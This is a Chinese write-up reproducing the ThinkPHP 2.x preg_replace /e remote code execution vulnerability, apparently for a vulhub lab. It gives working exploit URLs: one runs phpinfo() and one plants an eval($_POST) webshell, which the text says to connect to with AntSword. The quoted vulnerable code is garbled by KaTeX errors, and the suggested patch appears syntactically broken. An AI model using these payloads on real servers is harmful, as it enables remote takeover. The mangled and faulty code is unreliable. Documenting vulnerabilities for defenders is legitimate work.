ThinkPHP 2.x 任意代码执行漏洞

ThinkPHP 2.x 任意代码执行漏洞

框架详情：

ThinkPHP是国内著名的开源的PHP框架，是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初，原名FCS，2007年元旦正式更名为ThinkPHP，并且遵循Apache2开源协议发布。早期的思想架构来源于Struts，后来经过不断改进和完善，同时也借鉴了国外很多优秀的框架和模式，使用面向对象的开发结 构和MVC模式，融合了Struts的Action和Dao思想和JSP的TagLib（标签库）、RoR的ORM映射和ActiveRecord模式， 封装了CURD和一些常用操作，单一入口模式等，在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.

漏洞描述:

ThinkPHP 2.x版本中，使用preg_replace的/e模式匹配路由：
KaTeX parse error: Undefined control sequence: \w at position 23: …reg_replace('@(\̲w̲+)'.depr.’([^’.KaTeX parse error: Undefined control sequence: \/ at position 7: depr.'\̲/̲]+)@e', 'var[’\1’]="\2";’, implode(d e p r , depr,depr,paths));
导致用户的输入参数被插入双引号中执行，造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞，也存在这个漏洞。

环境搭建:

vulhub搭建地址

搭建成功后访问

漏洞复现：

使用payload 直接访问，即可执行phpinfo()：

http://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D

 

利用该漏洞getshell，下面给出一个能够直接蚁剑（菜刀）连接的payload：

/index.php?s=a/b/c/${@print(eval($_POST[1]))} 

访问url，表明poc写进去 

  

蚁剑进行连接

 

漏洞修复：

 
用户可下载官方发布的补丁：

http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
 
或者或者直接修改源码：

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

修改为：

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

将preg_replace第二个参数中的双引号改为单引号，防止其中的php变量语法被解析执行。